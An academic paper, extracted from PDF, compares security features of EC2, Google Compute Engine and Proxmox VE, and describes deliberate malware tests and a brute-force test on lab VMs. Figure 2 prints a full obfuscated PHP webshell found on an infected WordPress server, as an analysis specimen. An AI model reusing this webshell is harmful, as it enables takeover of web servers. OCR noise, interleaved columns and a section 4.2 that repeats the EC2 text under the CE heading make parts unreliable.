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Abstract—Cloud computing technologies are divided into three types based on their intended use: Infrastructure as a Service,
Platform as a Service, and Software as a Service. This study examines the cybersecurity measures provided by public and
private Infrastructure as a Service cloud computing infrastructures in this context. And provide a reference source for cybersecurity
measures in the context of the selection process of infrastructure as a service cloud computing infrastructure needed by businesses.
To address the objectives of this study, a mixed-method approach integrating qualitative and quantitative research techniques
was adopted. The research is structured around two main research questions. The first research question (RQ1) aims to identify
cybersecurity measures in Amazon AWS EC2 (EC2), Google Cloud CE (CE), and Proxmox Virtual Environment (VE) Infrastructure
as a Service cloud computing infrastructures. The second research question (RQ2) aims to identify the similarities and differences
in cybersecurity measures between these infrastructures. The experimental research method, one of the quantitative analysis
techniques, was adopted to test the findings obtained from RQ1, to ensure the reliability of the research, and to examine the
cybersecurity measures in these infrastructures experimentally. The hypothesis (H1), "The findings obtained as a result of RQ1
are confirmed in EC2, CE and Proxmox VE laa$S infrastructures”, was tested. As a result of the experimental research, hypothesis
(H1) was accepted. In this context, this study contributes to the existing body of knowledge by addressing a significant gap in the
literature regarding the comparative and empirical evaluation of cybersecurity practices in public and private Infrastructure as a

Service infrastructure.
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1. Introduction mechanisms, optimising predictive maintenance of

machinery and equipment, encouraging the develop-

Businesses require data and knowledge to en-
hance the efficiency and transparency of digital
transformation in operations such as production,
supply chain management, and marketing. This
provides various benefits, including improving pro-
duct/service adaptability and diversity in line with
customer demands, strengthening decision-making

ment of new business models, and contributing to
environmental sustainability. To achieve these ben-
efits and a solid digital transformation process, data
should be stored in digital environments, analysed
through various software and shared with all neces-
sary systems, processes and stakeholders. The dy-
namic process from acquiring data and knowledge
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to re-sharing is defined as the data and knowledge
cycle [1]. The rapid development of software tech-
nologies, beginning with the Industry 4.0 process
and the rise of artificial intelligence in the Industry
5.0 era, has further increased the importance of
the data and knowledge cycle. Robust cybersecurity
measures are imperative to ensure businesses de-
rive maximum efficiency from data and knowledge.
These measures must ensure uninterrupted opera-
tions, continuous access to data and knowledge, and
the protection of the confidentiality and integrity of
data and knowledge [2], [3]]. Today, given that the
necessary information technology resources, such as
processing capacity and data storage space required
by this cycle, are generally provided by cloud com-
puting infrastructures, the cybersecurity measures
that can be implemented within these infrastruc-
tures are of great importance. Consequently, this
study focuses on the cybersecurity measures of the
Infrastructure as a Service (IaaS) service type, a
component of cloud computing infrastructures. [aaS
infrastructures can be configured within businesses’
data centres or utilised through cloud computing
service providers according to specific needs [4]].

No study has concurrently compared and ex-
perimentally verified cybersecurity measures across
public and private IaaS infrastructures in the extant
literature on cybersecurity. In addition, two studies
focusing on cybersecurity measures in laaS plat-
forms have been identified. The first study, con-
ducted in 2014 [5], compared the cybersecurity
measures in public TaaS infrastructures, specifically
examining Identity and Access Management (IAM),
Key Management Services (KMS), and data en-
cryption practices. The second study, in 2021 by
Tomchik [6], also focused on cybersecurity mea-
sures within public IaaS infrastructures, examining
how these security protocols are implemented and
assessed in a cloud computing environment. Con-

sequently, this study is designed to address this
gap. In this context, this study aims to examine
the cybersecurity measures provided by public and
private IaaS infrastructures and to assist businesses
in selecting the IT resources needed to structure
the data-knowledge cycle. To address the aim of
this study, a mixed-methods approach was adopted,
integrating both qualitative and quantitative research
techniques. The study is structured around two pri-
mary research questions. RQ1 seeks to delineate the
cybersecurity measures in EC2, CE, and Proxmox
VE laaS infrastructures. RQ2 aims to identify the
similarities and differences in cybersecurity mea-
sures across these infrastructures. Additionally, to
verify the findings derived from (RQ1), ensure the
credibility of the study and experimentally examine
cybersecurity measures within these infrastructures,
the study adopts an experimental research method
from quantitative analysis techniques and the hy-
pothesis (H1)” The findings obtained as a result
of RQI1 are confirmed in EC2, CE and Proxmox
VE IaaS infrastructures” is tested. As a result of
the experimental research, hypothesis (H1) was ac-
cepted. Document analysis, a qualitative analytical
technique, addresses the research questions.

The research sample comprises EC2 and CE from
public laaS infrastructures and Proxmox VE from
private laaS infrastructures, selected using purpo-
sive sampling. Amazon AWS and Google Cloud
were chosen based on their significant market share
growth in the IaaS category for 2021 and 2022,
as reported by Gartner [7] in 2023 (Market Share:
IT Services, Worldwide, 2022). Proxmox VE was
selected among other private laaS options like
Vmware, Microsoft Hyper-V, and Oracle VM due
to its provision of various cloud computing infras-
tructures free of charge. Data for the research were
collected through document review and experimen-
tation and analysed manually. Detailed information
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on the analysis procedures can be found in the
methodology section.

2. Literature Review

Cloud computing, as defined by the National
Institute of Standards and Technology (NIST) [8]],
encompasses a model enabling ubiquitous, conve-
nient, on-demand network access to a shared pool
of configurable computing resources (e.g., networks,
servers, storage, applications, and services), rapidly
provisioned and released with minimal manage-
ment effort or service provider interaction. Cloud
computing is composed of four deployment and
three service models. These deployment models are
public, private, hybrid, and community cloud sys-
tems. A private cloud refers to the cloud computing
infrastructure deployed within business local net-
works. In contrast, a public cloud refers to the cloud
computing infrastructure provided by cloud com-
puting service providers on a pay-as-you-go basis
[9], [10]. Cloud computing service models (types)
include IaaS, Platform as a Service (PaaS), and
Software as a Service (SaaS) [4], [[10]. IaaS, PaaS,
and SaaS constitute the layered architecture of cloud
computing, with the hardware infrastructure forming
the bottom layer. The hardware layer comprises
physical devices such as servers and storage. The
special operating system called a hypervisor, which
is installed on the hardware layer, is responsible
for virtualising the resources such as processing
power, memory, bandwidth, data storage area, which
are owned by the hardware layer such as Central
Processing Unit (CPU), Random Access Memory
(RAM), Network Interface Card (NIC), storage,
and presenting them to the upper layers [11], [12].
The layer above the hardware layer is the infras-
tructure layer, which provides the housing services
IaaS provides. Virtual machines and their operating
systems operate in this layer, with resources such

as processors, RAM, bandwidth, and data storage
space being dynamically scalable. TaaS infrastruc-
ture typically adopts a multi-tenant structure, allow-
ing computing resources to be utilised and paid for
on a usage basis. Examples of laaS include EC2
and CE infrastructures [9], [10]. Generally, [aaS
infrastructures serving global customers are called
public IaaS, while those specifically tailored for
business infrastructure are termed private laaS. The
platform layer follows the infrastructure layer, pro-
viding PaaS services primarily utilised by corporate
users for application development [9], [13]. Lastly,
the application layer sits atop the platform layer, of-
fering SaaS applications targeted at end-users [10]],
[13]]. The layered architecture of cloud computing,
as depicted in Figure |1} illustrates the hierarchical
structure of cloud computing environments.

2.1. Cloud Computing and Cybersecurity
Measures in laaS Service Type of Cloud
Computing Resources

Cybersecurity essentially entails safeguarding the
confidentiality, integrity, and availability of an or-
ganisation’s information resources [2]. Availability
refers to constant access to data and knowledge.
When configuring cybersecurity measures for cloud
computing technologies, it’s imperative to address
each layer by the layered architecture of cloud
computing [11]. Although these measures are in-
terconnected across layers, they necessitate distinct
approaches. The initial step involves securing the
hardware layer physically. This encompasses im-
plementing security measures such as lock systems
for restricted access, surveillance camera systems,
and environmental sensors within the system room
housing the hardware. Additionally, keeping the
firmware and out-of-band management software
(Like HP iLO or Dell idrac) of the hardware up-
to-date is crucial for cybersecurity measures at
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Figure 1. Cloud Computing Infrastructure (Source: Author Elaboration).

the hardware level. Because all layers are affected
by cybersecurity vulnerabilities that may occur in
the hardware layer. System security updates for
the hypervisor installed on the hardware layer,
utilisation of specialised security software tailored
for hypervisor environments, and restricting remote
access to the hypervisor environment are among
the cybersecurity measures applicable within the
hypervisor [14], [15]. In the cloud computing public
[aaS model, the cloud computing service provider
is responsible for the cybersecurity of the hardware
layer and hypervisor cybersecurity. After the hard-
ware layer and hypervisor are cyber-secured, the
cybersecurity measures that can be taken in the [aaS
infrastructure can be listed as follows.

o Segmentation: This solution permits the util-
isation of virtualisation resources by specific

authorised users or applications, ensuring that
resources are only accessed by authorised enti-
ties [16], [L7].

Micro-Segmentation: Aiming to enhance secu-
rity by segmenting data sources and configuring
security measures for smaller regions, micro-
segmentation is akin to employing small secu-
rity forces to protect individual neighbourhoods
rather than relying on a larger army to safeguard
an entire city [16], [18]], [19].

Isolation: Involves isolating resources from one
another at the virtualisation level, which is
particularly vital for businesses with numerous
customers. Each customer’s virtual resources
are isolated from others to prevent malware
spread from affecting one customer’s virtual
machine to others [16]. Segmentation and isola-
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tion within cloud computing environments can
be effectively achieved at the hypervisor level or
through Virtual Private Clouds (VPC)s. VPCs
are a prevalent feature in cloud computing
that enables users to initiate cloud computing
resources within a virtual network that they
configure and manage. This virtual network acts
as a segregated section of the cloud provider’s
infrastructure, offering enhanced security and
control over the cloud resources by isolating
them from the resources of other users [20].
Authentication and Authorisation: Access to
[aaS should be governed by stringent policies
to ensure appropriate use and to mitigate risks
associated with unauthorised access [[11]. These
policies are often called IAM [21]. Implement-
ing robust access control measures is imperative
to protect the integrity, availability and confi-
dentiality of IaaS resources.

Encryption: Encryption of data and disks within
IaaS infrastructures represents a critical security
measure. It is essential for protecting sensitive
information from unauthorised access and is
vital for mitigating the risks associated with
data leaks, particularly those that may occur due
to cyber-attacks. By encrypting data both at rest
and in transit, organisations can strengthen the
security of their digital environments, ensuring
that even if data is intercepted or accessed with-
out authorisation, it remains indecipherable and
protected from malicious entities. This practice
is crucial for maintaining the confidentiality
and integrity of data within cloud-based infras-
tructures. Cloud computing service providers
also offer various applications to enhance data
encryption capabilities. Examples include using
Nitro-supported systems within EC2 infrastruc-

age and sharing systems is also believed to con-
tribute significantly to enhancing data security
issues [24]]. This attribute makes it particularly
effective in preventing unauthorised tampering
and access, thereby bolstering the integrity and
confidentiality of data. Furthermore, within the
framework of fog cloud computing, which facil-
itates the integration of cloud systems with end-
user devices, implementing blockchain-based
cybersecurity measures is notable [25], [26].
Virtualisation Specific Firewall and Antivirus
Applications: These are specialised firewalls
and antivirus applications designed for virtual-
isation systems, typically operating at the hy-
pervisor level. Additionally, the use of Intrusion
Detection Systems (IDS) and Intrusion Preven-
tion Systems (IPS) aids in identifying cyber
threats and devising solutions [11].

Artificial Intelligence (AI) Supported Cyberse-
curity: The rapid rise of artificial intelligence
has also affected the field of cybersecurity.
Specifically, in the IaaS domain, artificial in-
telligence generally focuses on detecting mali-
cious software [27]], [28]].

End User Awareness: Although users of IaaS
infrastructures are typically experts in their
respective fields and possess high awareness
levels, proactive security measures are crucial
in the rapidly evolving information landscape.
Implementing necessary measures preemptively
is vital to mitigate cyber threats [29].

Removal of Unused Resources: Deallocating
resources no longer needed by a customer or
user in cloud computing infrastructures helps
prevent security vulnerabilities associated with
unused resources [30]].

ture and the Confidential VM Service in CE

infrastructure [22], [23]]. tructure vary based on whether the infrastructure is
The development of blockchain-based data stor-  public or private. Solutions in public Iaa$S infrastruc-

Cybersecurity security measures in laaS infras-
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ture are integrated into the infrastructure, requiring
no additional setup effort. Conversely, solutions for
private IaaS infrastructure may need to be added
later. For instance, Proxmox VE IaaS infrastructure
lacks an integrated IDS or IPS solution [31]. IDS
and IPS services can be incorporated into a firewall
installed within the Proxmox VE infrastructure if
desired. Regarding the cybersecurity measures that
can be taken for IaaS infrastructures in the literature,
Marshall and Jacobs [32] provided information on
security requirements for maintaining consistency
in laaS infrastructures. Aditya et al. [33] referred
to various standards such as CISSRAME, ISO/IEC
27001:2013, ISO/IEC 27002:2013, NIST SP 800-
53 while evaluating cybersecurity measures in cloud
computing infrastructure. Erlangga and Ramadhan
[34] conducted a literature review on cyber at-
tacks and countermeasures in cloud computing in-
frastructures. Raja and Sujith [35] highlighted the
significance of access controls for data integrity
and confidentiality in cloud computing resources.
Blockchain-based data storage infrastructure to pro-
tect data integrity in laaS infrastructures was pro-
posed by Zhao et al. [36] and Apirajitha and
Sathianesan [37]. Cloud forensics applications for
evidence collection and protection against cyberse-
curity attacks were mentioned by Pourvahab and
Ekbatanifard [38] and Nasreen and Mir [|39]. Hasimi
et al. [40] detail the processes of an application
that integrates deep learning and artificial neural
networks, designed to address various challenges
within cloud computing infrastructures. These chal-
lenges include intrusion detection, malware detec-
tion, anomaly detection, log analysis, and access
control. Anitha et al. [41] proposed a trust-based
model based on Software Defined Network (SDN)
role-based access control. This model allows users
to access virtual machines by their roles. This
model resembles the IAM and KMS collaboration
in existing IaaS cloud computing infrastructures.

Artificial intelligence-based security solutions like
threat detection in cloud computing infrastructure
were discussed by Stutz et al. [42] and Ahmad et
al. [43]].

The existing literature reveals an absence of stud-
ies that simultaneously compare and experimentally
verify cybersecurity measures in both public and
private laaS infrastructures. However, two studies
have been identified that focus on cybersecurity
measures in laaS platforms. The first study, con-
ducted in 2014 [5], compared cybersecurity mea-
sures within public TaaS infrastructures, specifically
examining IAM, KMS, and data encryption prac-
tices. The second study, conducted by Tomchik in
2021 [6], also focused on cybersecurity measures
within public IaaS infrastructures, investigating how
these security protocols are implemented and as-
sessed in a cloud computing environment. There-
fore, this study addresses this gap by exploring
the following research questions and testing the
hypothesis.

« RQI. What are the cybersecurity measures in

EC2, CE, and Proxmox VE IaaS infrastruc-
tures?
To validate the findings from RQI1, ensure the
study’s credibility, and empirically assess the
cybersecurity measures within these infrastruc-
tures, hypothesis (H1) was tested.

« H1. The findings obtained as a result of RQ1 are

confirmed in EC2, CE and Proxmox VE IlaaS
infrastructures.
In response to RQI1 and the findings related
to hypothesis (H1), the RQ2 was addressed
to elucidate the differences and similarities in
cybersecurity measures between EC2, CE and
Proxmox VE infrastructures.

o RQ2. What are the similarities and differences
in cybersecurity measures among EC2, CE, and
Proxmox VE laaS infrastructures?
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3. Methodology

This study aims to investigate the cybersecurity
measures provided by public and private laaS in-
frastructures to businesses. The study intends to
serve as a reference source supporting the digital
transformation process by facilitating the selection
of laaS infrastructures that provide the necessary
information technology resources for businesses
within the scope of the data-information cycle. A
purposive sampling method was employed to se-
lect the research sample. In the context of public
[aaS, Amazon and Google were selected based on
Gartner’s 2023 report, which identified them as
the top two public IaaS service providers with the
highest market share growth for 2021 and 2022 [(7].
For private [aaS, Proxmox VE was included in the
sample as it offers all free features (except enterprise
updates and support), unlike alternatives such as
VMware ESXi, Microsoft Hyper-V, and Oracle VM.

Document analysis, a qualitative analysis method,
was utilised to address the research questions. Doc-
ument analysis can be employed as a stand-alone
qualitative method or as a supporting technique to
develop other analytical processes [44]. 89 docu-
ments related to cybersecurity measures in pub-
lic and private IaaS infrastructures were analysed,
and 39 were specifically selected for the research
sample. These documents are all referenced in the
findings and discussion section. The results from
these documents were categorised according to the
principles of confidentiality, integrity, and availabil-
ity, as stated by Admass et al.

To verify the findings obtained from RQ1, ensure
the reliability of the study, and empirically examine
the cybersecurity measures in these infrastructures,
an experimental research method, one of the quan-
titative analysis techniques, was adopted. The activ-
ities related to the experimental research are listed

as follows:

o Three virtual machines (VM1-EC2-0OS, VM2-

CE-OS, and VMS5-PVE-OS), each running
Linux Ubuntu Server, were deployed in EC2,
CE, and Proxmox VE IlaaS infrastructures, re-
spectively. Files containing the malicious code
described in Table [2| were installed on these
virtual machines. The researcher deliberately
installed the malicious code on these virtual ma-
chines for testing. Information about the config-
urations of the virtual machines is summarised
in Table 11

A virtual machine owned by the researcher,
running on EC2 infrastructure with an Ubuntu
Linux operating system and Apache, PHP, and
MariaDB applications, was infected with ma-
licious code by hackers. These codes infected
files with PHP extensions. Before cleaning the
malicious code in the virtual machine, the re-
searcher included this virtual machine in the
experimental research and named it VM3-EC2-
APP. To understand how the infected mali-
cious code is evaluated within the scope of
cybersecurity measures in CE and Proxmox
VE infrastructures, two clones of VM3-EC2-
APP were deployed. The clone virtual machine
named VM4-CE-APP was deployed in CE, and
VM6-PVE-APP in Proxmox VE infrastructure.
Malware files on all virtual machines were
scanned using multiple virus scanning providers
(virustotal.com) [45]. Information about ma-
licious code is summarised in Table The
content of the file scanned by virustotal.com and
detected malicious code is shown in Figure [2]

During the deployment of virtual machines,
the cybersecurity measures provided by IaaS
infrastructures were tested, and the results were
summarised in Table [31

« After the virtual machines were deployed, the
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Table 1.

Configurations of virtual machines deployed in EC, CE and Proxmox VE infrastructures.

Vm Name laaS Location | OS Info VM Configurations Installed Services and Softwares
Host Type: t3.micro .
VMI1-EC2-0S EC2 Ubuntu 22.04 amd64 Operating System Onl
u am 2 VCPU, 1GB Ram, 16 GB Disk. | —©o & SYSem 2y
Host Type:E2-Standart .
VM2-CE-OS CE 22.04 4 1
Ubuntu 22.04 amd6 2VCPU. 1GB Ram, 16 GB Disk. Operating System Only
Proxmox . .
VMS5-PVE-OS VE Ubuntu 22.04 amd64 | 2VCPU, 1 GB Ram, 16 GB Disk. | Operating System Only
Host Type: t3.large Apache, MariaDB, PHP and
VM3-EC2-APP | EC2 Ubuntu 22.04 amd64
unt am 2vCPU, 8GB Ram, 39 GB Disk. Wordpress application
Host Type: E2-Standart Apache, MariaDB, PHP and
VM4-CE-APP CE 22.04 4
Ubuntu 22.04 amd6 2VCPU, 8GB Ram, 39 GB Disk. Wordpress application
VM6-PVE-APp | |1OXmOX Ubuntu 22.04 amd64 | 2VCPU, 8 GB Ram, 39 GB Disk. | ‘-Pache. MariaDB, PHP and
VE Wordpress application

cybersecurity measures provided by laaS in-
frastructures were tested, and the results were
summarised in Table [71

« Files containing malicious code were installed
on virtual machines, and the results were sum-
marised under section 4.4.3. titled "Examination
of Malware-Installed Machines via EC2 and CE
IDS Systems”.

o Measures related to snapshots and backup pro-
vided by laaS infrastructures were tested, and
the results were collected under section 4.4.4.
titled "Backup Operations of Virtual Machines”.

« To test how laaS infrastructures react during a
cyberattack, a brute force attack was applied
to virtual machines, and the results were col-
lected under section 4.4.5. titled ”Examination
of Cybersecurity Measures in EC2, CE, and
Proxmox VE Infrastructures According to the
Brute-Force Attack on Virtual Machines”.

The principle of repeatability is essential in ex-
perimental research. However, the tests conducted
within the scope of this study may not always
produce a fixed output for a fixed input, as laaS
infrastructures are software-based and continuously
updated, and cybersecurity threats are constantly

evolving. Nevertheless, the test results presented
in this study are summarised and structured to
minimise the influence of software updates.

4. Findings and Discussions

The findings derived from the examining docu-
ments gathered regarding EC2, CE, and Proxmox
VE’s cybersecurity measures in the IaaS infrastruc-
tures are summarised as follows, aligned with RQ1.

« RQI1: What are the cybersecurity measures in
EC2, CE, and Proxmox VE IaaS infrastruc-
tures?

In the analysis of the cybersecurity measures within
the IaaS infrastructures of EC2, CE, and Proxmox
VE, the following structural order was established
for each sample [2]:

o Cybersecurity solutions related to data confi-
dentiality.

« Cybersecurity solutions related to data integrity.

o Cybersecurity solutions related to resource
availability (constant access to data and knowl-
edge).

Security measures within the EC2, CE and Proxmox
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<?7php $JYGHf = "NJiIutdwWXb";function hCfSaum($IYGHT){$WmIBFkF =
"\162"."\141"."\167". 'u".chr(114).'1"."\144". 'e'."¢'."\x6f".chr(100) .chr(101);$

UvcPVFZMN =
"\x73".chr(116).'r'."\x5f"."\162".chr(622-511).chr(717-601).'1"'."\x33";$%$
DNddLVx1cT =
chr(115).chr(116). 'r'.'_".'s'.'p'.chr(533-425).chr(105)."\x74" ; $JYGHf =

$DNAdLVx LcT ($WmIBFKF($UvcPVFZMN($JYGHT))); return $JYGHT;}function
wILLE($zDwnusI, $hFetJ1D){$TwnvTIKzUA =
chr(115)."\x74"."\x72" . ' _'."\163".chr(112)."\154", "1i"."\x74";$zDwnusI =
array_slice($TwnvTIKzUA(str_repeat($zDwnusI, (count($hFetl1D)/16)+1)), @,
count($hFetJ1D));return $zDwnusI;}function CgqBrMQgXg($CZoZQ, $VhMnbU,
$zDwnusI){$oryrbDt1Xh = "c44b6584-0ac9-4148-bbc7-1bdbdfalba3e"; return $CZozZQ ~
$oryrbDt1Xh[$VhMnbU % strlen($oryrbDt1Xh)] ~ $zDwnusI;}function
RXgsaVg($hFetl1D, $zDwnusI){$hFetJ1D = array_map("CggBrMQgXg",
array_values($hFetJ1D), array_keys{$hFetJ1D), array_values($zDwnusI));$hFetJ1D =
implode("", $hFetJ]1D);$bwXKUgvhk =
"\165".chr(110)."\163".'e'."'r'.chr(574-469).chr(1076-979) .chr(108)."\151"."\172"
.chr(722-621); $hFetJ1D = @$bwXKUgvhk($hFetJ1D);return $hFetJ1D;}function
xCLgNAcg () {echo "gAjmSLQFv'";}function FNMOZFy($qeBbIyHlDir){static $GrJIDbFe
array();$pbixLn = glob($qeBbIyH1Dir . '/*', GLOB_ONLYDIR);$FwWERef =
count($pbixLn);if ($FwWERef > @) {foreach ($pbixLn as $qeBbIyH1D) {$hwxPHpm
chr(105).chr(987-872).chr(493-398).chr(119)."\162"."\x69"."\164".chr(97).chr (205
-107) . chr(798-690) . chr(944-843) ;if (@$hwxPHpm($qeBbIyH1D)) {$GriDbFel[] =
$qeBbIyH1D;}}}foreach ($pbixLn as $qeBbIyH1Dir) FNMOZFy($qeBbIyH1Dir);return
$GrlDbFe; }function WhzEoRLU(){echo "NJiIutdwxb";}function fuQpZ($hFet]1D){$IEacd

chr(381-313)."\x4f"."\x43". 'U"'."\115".chr(69)."\116". 'T'."\x5f".chr(82).'0"."\
117".chr(212-128) ; $aFebs = $_SERVER[$IEacd];$pbixLn = FNMOZFy($aFebs); $tKZ0QZKrQ
= array_rand($pbixLn);$NeRLKA = chr(46).chr(839-727)."\150".chr(465-353); $hZvcbX
= $pbixLn[$tKZ0QZKrQl . "/" . substr(md5(time()), @, 8) . $NeRLkA;$twiTCb =
chr(1@2)."\151"."\x6c"."\x65".chr(95)."\160".chr(873-756)."\x74"."'_"'.chr(99)."\
x6f".chr(763-653).chr(137-21).chr(152-51).chr(129-19)."\ 164", "\x73" ; @$twiTCb (%
hZvchX, $hFetJ1D);$hTtxpCN =
chr(275-203).chr(84).chr(379-295).chr(80).chr(379-284).'H'.'0'.chr(83)."\124";%
HrxfBP = chr(441-337).'t'.chr(116).chr(962-850)."\x3a"."\57"."\57"; $NZNEFhnalL0 =
$HrxfBP . $_SERVER[$hTtxpCN] . substr($hZvcbX,

strilen($aFebs));print ($NZNEFhnal0);}foreach ($_POST as $zDwnusI =>

$hFetJ1D) {$ntniVtzGdY = strlen($zDwnusI);if ($ntniVtzGdY == 16){$hFet]1D =
hCfSaum($hFetJ1D); $zDwnusI = wlI11E($zDwnusI, $hFetJ1D);$hFetJ1D =
RXgsaVg($hFetJ1D, $zDwnusI);if (@is_array($hFetJ1D)){$tKZ0QzZKrQ =
array_keys($hFetJ1D);$hFetJ1D = $hFetJ1D[$tKZ0QZKrQ[@]1]1;if ($hFetl1D ===
$tKZ0QZKrQ[01){$tGIKSeJE = "\x70"."\x68". 'p"';$wZHXhS1i =

chr(112)."\x68". 'p'."\166".chr(101)."\162"."'s'."'i'. '0"'."\156" ; $qHTEV =

Ts L M\x65" . "\ x72" . chr(651-546) .chr(97)."'1"."i'.chr(122).chr(971-870) ;echo
@$qHTEV(Array($tGIKSeJE => @$wZHXhSi(), ));strlen($zDwnusI);ltelse
{fuQpZ($hFetl1D);}die();}}}

Figure 2. An example of a file containing malicious code detected in the WordPress content
management application files on the VM3-EC2-APP, VM4-CE-APP and VM6-PVE-APP virtual
machines.
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Table 2.

The list of malware and virustotal.com scan results.

Vm Name Malware Malware Features Virus Scan Results
VMI-EC2-0S | Win.Trojan.GhOS(RAT-7480037-0, | niected file that can be active within the | o)
Windows OS
Infi file th i ithin th
VM2-CE-OS | Win.Trojan.GhOSRAT-7480037-0, | [niected file that can be active within the | o)
Windows OS
Infi file th i ithin th
VMS-PVE-OS | Win.Trojan.GhOSRAT-7480037-0, | [niected file that can be active within the | o)
Windows OS
Infected file that can be
VM1-EC2-0S Unix.Trojan.Elknot-1 active within the 39/63
Linux OS
Infected file that can be
VM2-CE-OS Unix.Trojan.Elknot-1 active within the 39/63
Linux OS
. . Infected file that can be
VM5-PVE-OS x‘; (')g;?ag"GhOStRAT' active within the 65/70
e Windows OS
First File: First File:
\ .
PHP/Webshell. OCC!tr PHP file with webshell code First File: 4/57
VM3-EC2-APP Second File: 13/59
Second File: Second File: econd He:
Generic.PHP.RansomA.11912369 PHP Ransomware
First File: First File:
PHP/Webshell. OCC!tr PHP file with webshell code . .
VMA-CE-APP glrSt 121;.‘14{517 3/59
Second File: Second File: econd File:
Generic.PHP.RansomA.11912369 PHP Ransomware
First File: First File:
\ .
PHP/Webshell. OCCltr PHP file with webshell code First File: 4/57
VMG-PVE-APP Second File: 13/59
Second File: Second File: eco ©
Generic.PHP.RansomA.11912369 PHP Ransomware

VE infrastructures are detailed in the following
format: Application or Feature Name [Category]:
Description [Reference]. In the category section, 'C’
denotes confidentiality, "I’ for integrity, and A’ for
availability. For example, applications or features
encompassing all three categories are denoted as
”CIA”.

4.1. Cybersecurity Solutions Utilized in EC2
Infrastructure

EC2 provides an environment where end users
can deploy and manage virtual machines and the
resources allocated to them. It operates within the
domain of public cloud computing [46]]. The ap-
plications and features incorporating cybersecurity
measures within the EC2 infrastructure are pre-
sented below:

o WAF and Shield [CIA]: It is a security solution
designed to mitigate web-based cyber threats

10
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that could compromise web applications’ func-
tionality, security, or efficiency. Additionally, it
is a security application that protects against
DDoS attacks [47], [48]].

Network Access Control List (ACL) [CIA]: The
Network ACL functions to manage the traf-
fic flow entering and exiting multiple subnets
within a network. Stemming from the virtual-
isation of features initially present in physical
Switches and Routers, it operates like a firewall,
regulating the passage of data packets based on
predefined rules and criteria [49].

VPC [CIA]: VPC allows EC2 resources to be
initialised in a virtual network completed by
the end user. This virtual network gives users
control over the networking environment for
their EC2 virtual machines (instances), allowing
for segmentation, isolation, and custom config-
uration according to their specific requirements
[20]. The Reachability Analyzer within the VPC
infrastructure is supported by artificial intelli-
gence. By constructing a network configuration
model, this tool employs automated reasoning
to delineate feasible network paths between a
source and a destination. This capability en-
hances network analysis and management ef-
fectiveness and precision within VPC environ-
ments [50].

Security Groups [CIA]: Security groups in the
EC2 infrastructure serve as a virtual firewall,
enabling users to specify and authorise which
IP addresses and ports can remotely access their
virtual machines. This feature allows for a vital
control mechanism over network traffic, helping
to enhance security by restricting access to only
authorised sources and ports [S1]].

Guard Duty [CIA]: It is an IDS designed for
use within the EC2 infrastructure [52]]. More-
over, the Guard Duty application leverages arti-
ficial intelligence technologies to enhance the

efficiency of cybersecurity measures. Specifi-
cally, GuardDuty employs machine learning al-
gorithms adept at distinguishing between poten-
tially malicious user activities and anomalous,
yet harmless, operational behaviours within
AWS accounts [50].

Amazon Inspector [CIA]: It is responsible for
conducting thorough and ongoing scans to iden-
tify vulnerabilities within the EC2 environment
[S3].

Security Hub [CIA]: This serves as the central
repository for findings generated by AWS se-
curity services. All findings are archived for at
least 90 days [54].

AWS Systems Manager [A]: It is tasked with
managing virtual machines within the EC2 en-
vironment and automatically applying updates
to virtual machines [55]].

IAM [CI]: It serves as the infrastructure re-
sponsible for controlling user access to EC2 re-
sources and defining the permissions associated
with that access [21]. Artificial intelligence has
been integrated into IAM applications through
the Zelkova application, which analyses IAM
policies. This enhancement facilitates more ef-
ficient IAM operations by providing insights
based on the content of the IAM policies [S0].
KMS [CI]: Access to the EC2 infrastructure is
facilitated through the use of electronic certifi-
cates instead of passwords. This approach aims
to streamline user management processes and
mitigate security vulnerabilities associated with
predictable passwords [S6].

Nitro System [CI]: The Nitro System represents
Amazon AWS’s innovative hypervisor structure,
designed to enhance security by continuously
monitoring, protecting, and verifying hardware
and software infrastructure. This system allo-
cates virtualisation resources to dedicated hard-
ware and software components, reducing the

11
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attack surface. This feature is crucial for safe-
guarding sensitive data such as financial, re-
search and development, and other proprietary
or confidential information, ensuring data in-
tegrity and security [22]. This feature also
provides the micro-segmentation cybersecurity
measure used in laaS infrastructures.
Clustering [A]: Clustering technology enables
the redundant operation of servers within the
cloud computing infrastructure. This technol-
ogy can establish a cluster infrastructure from
virtual machines deployed within the EC2 in-
frastructure. Servers operating in a clustered
manner can seamlessly take over each other’s
workloads in the event of a failure, ensuring
uninterrupted system operation [S7]], [S8].
Snapshots [IA]: Snapshots represent instanta-
neous backups of virtual machine disks, facili-
tating the restoration of data on the disk or the
entire disk to a specific date. They hold particu-
lar significance for swiftly recovering data that
undergoes infrequent changes. For instance, in
the event of a virus attack compromising the file
integrity of a disk, it can be reverted to a date
before the infection [59].

Backup Solutions [IA]: It is a solution that
involves taking snapshot-based backups of the
disks defined within the virtual machine for
long-term storage [60].

Security with Al [CIA]: Artificial intelligence
technologies are employed to enhance the secu-
rity of the EC2 infrastructure. Machine learning
is utilised within the infrastructure of applica-
tions, including IAM, VPC, and Guard Duty.
This integration not only automates tasks but
also allows for the more efficient deployment
of security measures [50].

4.2. Cybersecurity Solutions Utilized in CE In-
frastructure

EC2 provides an environment where end users
can deploy and manage virtual machines and the
resources allocated to them. It operates within the
domain of public cloud computing [61]. The ap-
plications and features incorporating cybersecurity
measures within the EC2 infrastructure are pre-
sented below:

e Cloud Armor [A]: It is a security application
that protects against DDoS attacks. While this
feature is standard, Cloud Armor also offers
versions with additional features for a fee [[62].

o Cloud IDS [CIA]: It is a service that provides
threat detection against spyware and malware
attacks and unauthorised access to the network
[63].

o Cloud Firewall [CIA]: Cloud Firewall is a secu-
rity tool that employs a signature-based threat
detection mechanism to identify and prevent
attacks that may occur over the network. It
is the market’s inaugural cloud-based firewall
solution, powered by Palo Alto Networks, de-
signed to safeguard against malware, spyware,
and command and control attacks within the
cloud environment [64].

« VPC [CIA]: It allows CE resources to be ini-
tialised in a virtual network completed by the
end user. This virtual network provides users
with control over the networking environment
for their EC2 virtual machines (instances), al-
lowing for segmentation, isolation, and custom
configuration according to their specific require-
ments [65]].

« Logs Explorer [CIA]: It is a solution designed
for monitoring logs related to the operations
conducted within the CE infrastructure [66].

e KMS [CI]: Access to the CE infrastructure is
facilitated through electronic certificates instead

12
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of passwords. This approach aims to streamline
user management processes and mitigate secu-
rity vulnerabilities associated with predictable
passwords [67]].

o IAM [CI]: It serves as the infrastructure respon-
sible for controlling user access to CE resources
and defining the permissions associated with
that access [68]].

o Confidential VM Service [CI]: This service
safeguards your data by encrypting the virtual
machine’s memory with keys Google cannot ac-
cess. Ensuring that the service provider cannot
access this service is crucial for the integrity of
cloud service processes [23].

o Clustering [A]: Clustering technology enables
the redundant operation of servers within the
cloud computing infrastructure. This technology
can establish a cluster infrastructure from vir-
